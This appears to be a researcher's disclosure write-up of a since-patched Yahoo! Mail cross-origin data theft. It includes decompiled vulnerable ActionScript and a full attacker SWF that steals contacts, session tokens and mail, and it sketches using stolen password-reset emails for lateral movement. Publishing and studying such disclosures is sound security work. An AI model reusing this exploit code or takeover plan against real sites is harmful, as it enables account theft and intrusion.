Defined Misbehaviour

Web security, programming, reverse-engineering, and everything related.

Seizing Control of Yahoo! Mail Cross-Origin… Again

This is a follow-up to another article about crossorigin mail theft on Yahoo! Mail using Flash. For a better understanding of the issue, you can read that here: http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/

TL;DR

A .swf on Yahoo’s CDN had a vulnerability that enabled near-complete control over Yahoo! Mail crossorigin. The .swf itself is fixed, but the configuration issue that allowed a .swf completely unrelated to Yahoo! Mail to do something like that still exists.

The Issue

So, in the last article we established that YMail’s crossdomain.xml rules are incredibly lax:

1
2
3
4
5
<crossorigin-policy>
  <allow-access-from domain="*.yahoo.com" secure="false"/>
  <allow-access-from domain="l.yimg.com" secure="false"/>
  <allow-access-from domain="s.yimg.com" secure="false"/>
</crossorigin-policy>

They allow .swfs on any subdomain of yahoo.com to read resources on YMail crossorigin. Last time we abused a crossorigin proxy on hk.promotions.yahoo.com to serve up our own .swf that would request pages from YMail and leak them back to us. The crossorigin proxy has since been patched, but the loose crossdomain.xml rules remain. Assuming there’s no way for us to serve our own .swf through yahoo.com anymore, how can we exploit these rules without using MITM attacks? Well, we abuse vulnerabilities in .swfs that are legitimately hosted on subdomains of yahoo.com.

Let’s look for a .swf that will allow us to make arbitrary requests, and read the response. With a little searching we find a good candidate, hotspotgallery.swf, related to a feature on Yahoo! Autos that gives 3D tours of cars. Normally it’s served up on sp.yimg.com, which isn’t a domain allowed by YMail’s crossdomain.xml, but with a little finagling we find that the same .swf can also be accessed on img.autos.yahoo.com.

Let’s take a peek at the ActionScript from the decompiler to see why this .swf is useful to us:

1
2
3
4
5
6
7
public dynamic class MainTimeline extends MovieClip {
    // ... snip
  function frame1(){
      Security.allowDomain("*");
      // ... snip
  }
}

Immediately we notice the Security.allowDomain("*"), which is usually not a good sign. The reason for that is Flash has a feature where you can embed a crossorigin .swf inside your own. You can access and call the public members of the embedded .swf’s MovieClip object, but normally this is disallowed unless the embedding .swf is same-origin with it.

Security.allowDomain() allows you to relax that restriction for specific domains, and this .swf is saying .swfs from any domain can access its MovieClip’s public members. Security.allowDomain("*") isn’t necessarily a security issue on its own, unless your .swf’s public members do or store something security sensitive. Now, this .swf is vulnerable, and to see why we’ll look at the loadXML2() method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public dynamic class MainTimeline extends MovieClip {
  public var exteriorXML:String;
  public var DATA3:XML;
  public var dataPath;
  // ... snip
    public function loadXML2():void{
        var ldr:* = null;
        var loader_IO_ERROR:* = null;
        var ldrEventHandler:* = null;
        loader_IO_ERROR = function ():void{
        };
        ldrEventHandler = function (_arg1:Event):void{
            DATA3 = new XML(_arg1.target.data);
            temp.text = DATA3;
            loadAnim((enginePath + "/angfront.swf"), -10, -10);
        };
        ldr = new URLLoader();
        try {
            ldr.load(new URLRequest(dataPath + "/" + exteriorXML1));
        } catch(error:SecurityError) {
            trace("A SecurityError has occurred.");
        };
        ldr.addEventListener(IOErrorEvent.IO_ERROR, loader_IO_ERROR);
        ldr.addEventListener(Event.COMPLETE, ldrEventHandler);
    }
    // ... snip
}

As you can see, the code makes a request to this.dataPath concatenated with this.exteriorXML1. When it gets a response, it parses it as XML, and stores the result in this.DATA3. But we control all 3 of those members due to the public access modifiers and Security.allowDomain("*"), and can both read from and write to them from .swfs on our own domain. Given that we control the URL requested, can read the response, and can trigger the behaviour at will, all from a crossorigin Flash document, we’ve got crossorigin data leakage!

Well… with a few caveats:

  • The target endpoint must respond to GETs
  • If the response has angle brackets in it and it isn’t syntactically correct XML, we probably can’t get the response. The reason for that is the response is run through the XML constructor and it simply throws in the case of invalid XML. Luckily, Flash considers JSON without angle brackets to be valid XML and treats it as a single TextNode, so some JSON can still be leaked.
  • We can’t get the response if the status code is non-200 since this code only stores the response in the success case.
  • The endpoint can’t require an auth token we can’t guess

First Steps

Let’s start by making some ActionScript to embed and exploit hotspotgallery.swf. From here on you will need to be logged in to Yahoo! for some links to work. Here we’ve got a very simple JS<->Flash proxy in the style of CrossXHR. It loads up the vulnerable .swf, sets its public members so it’ll request the resource we want to leak, then returns the response back to JS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package {
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.text.*;
import flash.utils.*;
import flash.system.*;

public class YahooFlasher extends MovieClip {

    // Vulnerable SWF to make our requests through
    private static const PROXY_URL:String = "http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf";

    // Get just the origin from a fully-qualified URL
    private static const ORIGIN_REGEX:RegExp = /^(\w+:\/\/[^\/]+\/).*/;

    public function YahooFlasher() {
        addEventListener(Event.ADDED_TO_STAGE, onAdded);
    }

    private function onAdded(e:Event):void {
        // Set timeout to avoid syncronous issues
        setTimeout(function():void {
            if (ExternalInterface.available) {
                // Let's not make *ourselves* vulnerable to weird exploits.
                var swfOrigin:String = loaderInfo.url.replace(ORIGIN_REGEX, "$1");
                if(!ORIGIN_REGEX.test(swfOrigin) || swfOrigin != Security.pageDomain) {
                    ExternalInterface.call("alert", "AY! This .swf needs to be on the same page as the one embedding it!");
                    return;
                }
                ExternalInterface.addCallback("stealData", stealData);
                ExternalInterface.call("flasherReady");
            }
        }, 1);
    }

    public function stealData(targetURL:String, callback:String):void {
        ///
        /// Steal data through the proxy SWF, response body must look like
        /// valid XML and status code must not be >= 400.
        ///
        var ldrComplete:Function = function (_arg1:Event):void {
            setTimeout(function():void{
                var proxyClip:Object = MCLoader.content;

                // This thing's all janked and the request will be made to dataPath + "/" + exteriorXML1.
                // Try to make it so that this won't affect our target.
                var splitURL:Array = targetURL.split('/');
                proxyClip.dataPath = splitURL.shift();
                proxyClip.exteriorXML1 = splitURL.join('/');

                // Triggers the HTTP Request through the vulnerable SWF
                proxyClip.loadXML2();

                var timeLimit:Number = new Date().getTime() + 10000;

                // Keep checking if the data's been loaded,
                // If `new XML(response)` raises, this will never be true,
                // the response has to look like valid XML, but most JSON
                // resources work too. Maybe because it sees it as one big 
                // top-level TextNode?
                function checkFinished():void {
                    setTimeout(function():void {
                        var stolenXML:XML = proxyClip.DATA3;
                        if(stolenXML !== null) {
                            var ret:String;
                            // If we get a simple node with no name, it's probably not even XML.
                            // Get the string representation without XML escaping.
                            if(stolenXML.name() || stolenXML.hasComplexContent())
                                ret = stolenXML.toXMLString();
                            else
                                ret = stolenXML.toString();

                            if(callback)
                                // Flash can't be trusted to serialize `ret` properly. Just encode it.
                                ExternalInterface.call(callback, encodeURIComponent(ret));
                        } else {
                            // Hit a timeout when trying to fetch the response. Either a non-200 status code
                            // was returned, or we couldn't parse the body as XML :(
                            if(new Date().getTime() > timeLimit) {
                                if(callback)
                                    ExternalInterface.call(callback, null);
                            } else {
                                checkFinished();
                            }
                        }
                    }, 10);
                }
                checkFinished();
            }, 100);
        };

        // Load up the vulnerable proxy SWF
        var MCLoader:Loader = new Loader();
        MCLoader.load(new URLRequest(PROXY_URL));
        MCLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, ldrComplete);
    }
}
}

Now here’s the tricky part. We need to find interesting, leakable endpoints. We can’t leak them if they return invalid XML (ruling out most webpages and JSON containing HTML fragments,) we can’t leak them if they return a non-200 status code, and we can’t leak them if they require an auth token we can’t guess.

Some alternative endpoints for the Social API fit the bill nicely. They let us fetch the current user’s contacts and profile without requiring an auth token or user ID. You can see those leaking to a page we control here:

But What About Mail?

One that stumped me for a long time was getting the user’s mail. All of the endpoints for mail listings required a valid WSSID (web services session id?) Unfortunately, all the endpoints I could find that would give me one had non-200 response codes or wouldn’t parse as XML. I eventually found what I was looking for by running YMail’s android app through mitmproxy. Here you can see the WSSID we wanted, returned with a 200 response code. Even though this endpoint’s normally requested with a POST method, a GET with no params still gives us the WSSID… Sweet!

Let’s leak the user’s mail now. We’ve got a mail search endpoint here that will return mail fragments without embedded HTML. You can see you’ll still sometimes get angle brackets in the response due to inline replies, but you can muck with the query to get around those.

Now, that WSSID functions as a CSRF token as well, so we can now do anything we want as the current user. We can send mail as them, delete all their emails, basically anything a normal user can do.

Here’s a small page demonstrating a bunch of things we can do as long as the user is on a page we control. As you can see, We’ve got the full list of contacts, all of the user’s personal details including their email address and name, and a listing of their emails.

We’ve got enough for a fully-weaponized exploit at this point. We can not only leak their emails, we can also achieve lateral movement by triggering password resets on other services they use, and pulling the reset URLs right out of their email, then deleting them. Of course, previously emailed username/password combos are fair game, too. Very handy for the APT folks ;)

The Fix

hotspotgallery.swf’s allowDomain call has since been changed to Security.allowDomain("sp.yimg.com"), but that doesn’t fix the core issue. There are thousands and thousands of forgotten .swfs on disused subdomains, many of which are probably vulnerable to similar exploits. As long as those crossdomain.xml rules are as loose as they are, it’s only a matter of time before someone finds one and exploits YMail… again.

.swfs that actually need crossorigin access to YMail should be moved to the existing mail.yimg.com subdomain, and the crossdomain.xml should be tightened up to keep YMail safe from rogue galleries of Asian imports and pet shows.

About Yahoo!’s Initial Response

The other thing I want to mention is the initial response I got. I initially submitted an overview of the issue and attached a proof-of-concept that put the JSON from the contacts endpoint in a textbox. Very rudimentary, but sufficient to show crossorigin data leakage. All I got in response was a form reply basically saying “This is intended behaviour, wontfix”. I replied asking why they thought that, and if they had any issues reproducing the issue, but didn’t receive a reply.

I know that reproing Flash issues can be a pain in the ass, and I realized the PoC would break if served from localhost, so I hosted a version with no setup required that more clearly showed what was leaked. I posted a link to the new PoC, reiterating what was being leaked. Still no response. It wasn’t until I posted the version that leaked mail contents 8 months later that I got an unscripted reply.

I get that Yahoo! probably receives tons of spurious reports every day, but without something actionable like “I don’t think X is a bug because Y” or “I’m unable to reproduce the issue, Z happens instead”, reporters don’t have anything to go on if they’re reporting a genuine issue. Without any feedback on what the issue is with the report, their only way to potentially get the bug fixed is through public disclosure (which an operator of a bug bounty probably doesn’t want.) I also know this isn’t an isolated case, since I recently saw a presentation where an RCE on Yahoo!’s reverse proxies got the same treatment.

To Yahoo’s credit, the fellow who responded to my updated proof-of-concept was decently communicative, but every response I’d ever received from Yahoo up ‘til that point had been a scripted response of “fixed”, “wontfix”, “confirmed”, or “new”. When I work with a company (either as a consultant or just through one-off reports,) nothing impresses me more than engineers responding with additional details relevant to my reports, and nothing turns me off more than the company being difficult to communicate with, money or no.

Tips For Yahoo! Bug Bounty Participants

  • Until the crossdomain.xmls are fixed, .swfs and endpoints where the whole response body is controlled are extra-juicy targets
  • .swfs normally served from random subdomains of yimg.com may also be available on l.yimg.com, or even subdomains of yahoo.com
  • There are plenty of versioned .swfs (think branded video players and such) where the old versions are still live on yimg.com. I never bothered auditing them because they’re a pain to trace through, but the WayBack machine is your friend when it comes to finding these orphaned .swfs
  • As usual, endpoints for mobile apps represent some extra attack surface to play with, and a lot of them use regular cookie auth. Set up mitmproxy or burp and go nuts.

Disclosure Timeline

  • 2014-02-09: Reported issue to vendor with PoC showing contacts leakage
  • 2014-02-14: Vendor closed issue as expected behaviour
  • 2014-02-14: Requested clarification from vendor
  • 2014-03-01: Sent vendor a link to updated PoC with no setup required
  • 2014-10-30: Requested public disclosure through HackerOne
  • 2014-11-04: Sent vendor a link to updated PoC showing mail leaking
  • 2014-11-07: Vendor confirmed, reopened issue
  • 2014-11-11: Engaging multimedia experience detailing issue sent to vendor, per request
  • 2014-12-03: Vendor reported issue as fixed, awarded bounty of $2500
  • 2014-12-03: Confirmed hotspotgallery.swf was no longer vulnerable

Related Links